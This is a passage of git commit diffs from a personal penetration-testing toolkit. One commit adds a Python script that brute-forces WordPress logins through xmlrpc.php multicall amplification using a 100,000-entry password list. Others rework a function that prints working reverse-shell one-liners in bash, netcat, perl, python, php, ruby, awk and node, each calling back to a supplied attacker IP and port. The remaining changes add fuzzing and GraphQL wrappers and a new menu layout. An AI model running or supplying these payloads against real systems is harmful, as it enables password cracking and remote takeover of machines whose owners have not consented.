re.sub(r"\s+", "", line) + return line.startswith("/") or line.startswith("*") # main program if __name__ == "__main__": diff --git a/s0mbra.sh b/s0mbra.sh index 8a90bf1..96b50e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -267,9 +267,9 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -rf $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -rf $TMPDIR/s0mbra_recon_subfinder.log - cd $TMPDIR && rm -rf hm* + rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -rf $TMPDIR/h* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -394,6 +394,8 @@ fu() { # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + elif [[ $3 == "-" ]]; then + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all @@ -831,7 +833,7 @@ case "$cmd" in echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py new file mode 100644 index 0000000..0e2b30c --- /dev/null +++ b/xmlrpc_amplif_bruteforce.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +# +# XML-RPC bruteforce amplification attack +# https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/ + +import requests + +output = open("./output.txt", "w") +passwords = open( + "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() +host = "HOST.com" + +# headers used in POST requests +h = { + "Host": host, + "User-Agent": "HackerOne/bl4de" +} + +index = 0 + +# XMLRPC url +url = f"https://{host}/xmlrpc.php" + +print("[+] building payload...") +# building payload for system.multicall wp.getUsersBlogs +payload_start = """ + + + system.multicall + + + + + +""" + + +payload_end = """ + + + + + + +""" + +total = 0 + + +def send_request_with_username(username, passwords): + global total + payload = "" + username = username.strip() + + for password in passwords: + payload = payload + """ + + + + methodName + + wp.getUsersBlogs + + + + params + + + + + + + + {} + + + {} + + + + + + + + + + + """.format(username, password.strip()) + total = total + 1 + + print("\n[+] payload for {} ready ({} KB)...".format(username, len(payload)/64)) + + payload = payload_start + payload + payload_end + + print(payload) + + print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) + resp = requests.post(url, headers=h, data=payload) + + if resp.status_code == 200: + print("[+] response HTTP 200 OK received, analysing results...") + # p0wned. This is the end :P + if "isAdmin" in resp.content: + print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) + output.write(resp.content) + exit(0) + + else: + print( + "[-] no matching username/password for {} found... :(").format(username) + + output.write(resp.content) + + else: + print("[-] something wrong, {} HTTP Response form{} received: \n\n").format( + resp.status_code, username) + print(resp.content) + + +# for username in usernames: +# send_request_with_username("trapcall", ["123456"]) + +for i in range(0, 100000, 64): + p = passwords[i:i+64] + send_request_with_username("trapcall", p) + +print("[+] done...\n\n") From fb159bd55ab695fa61d41260609e52ca5e6f5fe1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 22 Jan 2023 11:03:34 +0000 Subject: [PATCH 191/289] [s0mbra] added graphw00f; new menu layout --- s0mbra.sh | 84 +++++++++++++++++++++++++++---------------------------- 1 file changed, 41 insertions(+), 43 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 96b50e7..4e841a3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -10,8 +10,6 @@ LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' BLUE_BG='\033[48;5;4m' -LIGHTBLUE='\033[34m' -LIGHTBLUE_BG='\033[48;5;6m' MAGENTA='\033[1;35m' CYAN='\033[36m' @@ -202,7 +200,7 @@ nfs_enum() { # quick subdomain enum + available HTTP server(s) - to find out if a program is # actually worth to look into :D -lookaround() { +scope() { TMPDIR=$(pwd) START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" @@ -237,7 +235,7 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# quick lookaround, but for single domain - no need to create scope file +# quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 if [[ ! -d $TMPDIR ]]; then @@ -602,6 +600,14 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# executes graphw00f fingerprint against GraphQL endpoint +graphw00f() { + clear + echo -e "$BLUE[s0mbra] Fingerprinting $1 GraphQL endpoint with graphw00f...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # runs PHP SAST tools against PHP application php_sast() { clear @@ -715,8 +721,8 @@ case "$cmd" in set_ip) set_ip "$2" ;; - lookaround) - lookaround "$2" + scope) + scope "$2" ;; peek) peek "$2" @@ -763,6 +769,9 @@ case "$cmd" in gql) gql "$2" ;; + graphw00f) + graphw00f "$2" + ;; dex_to_jar) dex_to_jar "$2" ;; @@ -829,50 +838,39 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" + echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,x8,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" + echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" - echo -e "$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" - echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t -> runs HTTP server on [PORT] TCP port; STACK: python,php" - echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" + echo -e "$CYAN smb_umount $CLR" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: STATIC APPLICATION SECURITY TESTING ::\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" - echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t -> Static Code Analysis of Ruby dir(s)/file(s) with brakeman" - echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" + echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" + + echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" - echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" - echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" ;; esac From 5adb1ed41ad5362fc9c32b297e2698ea7ce12a63 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 28 Jan 2023 17:08:29 +0000 Subject: [PATCH 192/289] [s0mbra] update menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4e841a3..6e40d24 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -865,7 +865,7 @@ case "$cmd" in echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 600a672306a35aae5536a3ef79710dff4daec5cb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 2 Feb 2023 22:09:58 +0000 Subject: [PATCH 193/289] [s0mbra] fix for missing IP in generate_shells() --- s0mbra.sh | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6e40d24..bed9868 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -665,26 +665,21 @@ generate_shells() { echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" - echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e " $CLR[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e " $CLR[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" - echo -e "$NEWLINE" + echo -e "$YELLOW[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "$NEWLINE" echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" - echo -e "$NEWLINE" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "$NEWLINE" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "$NEWLINE" echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" From 8497ce0534373f6ffc063e1dd28951e42f942d49 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Feb 2023 06:40:05 +0000 Subject: [PATCH 194/289] [s0mbra] generated reverse shells - updated --- s0mbra.sh | 64 ++++++++++++++++++++++++++++++++++--------------------- 1 file changed, 40 insertions(+), 24 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bed9868..d1b4375 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -659,32 +659,48 @@ abe() { } # generates reverse shells in various languages for given IP:PORT -generate_shells() { +shells() { clear port=$2 echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" - echo -e "$YELLOW[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "$YELLOW[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "$YELLOW[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "$YELLOW[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" - echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" - echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" - echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" - echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" - echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" - echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\tbash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m\t\t0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m\t\trm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\trm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" + echo + echo -e "\033[1;31m[gawk]\033[0m\t\tgawk 'BEGIN {P=$port;S=\"cmd> \";H=\"$1\";V=\"/inet/tcp/0/\"H\"/\"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print \$0|&V;close(c)}}while(c!=\"exit\")close(V)}}'" + echo -e "\033[1;31m[awk]\033[0m\t\tawk 'BEGIN {s = \"/inet/tcp/0/$1/$port\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null" + echo + echo -e "\033[1;34m[perl]\033[0m\t\tperl -e 'use Socket;\$i=\"$1\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo + echo -e "\033[1;36m[python]\033[0m\tpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('bash -i >& /dev/tcp/$1/$port 0>&1');\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('nc -e /bin/sh $1 $port')\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec(\"bash -c 'bash -i >& /dev/tcp/$1/$port 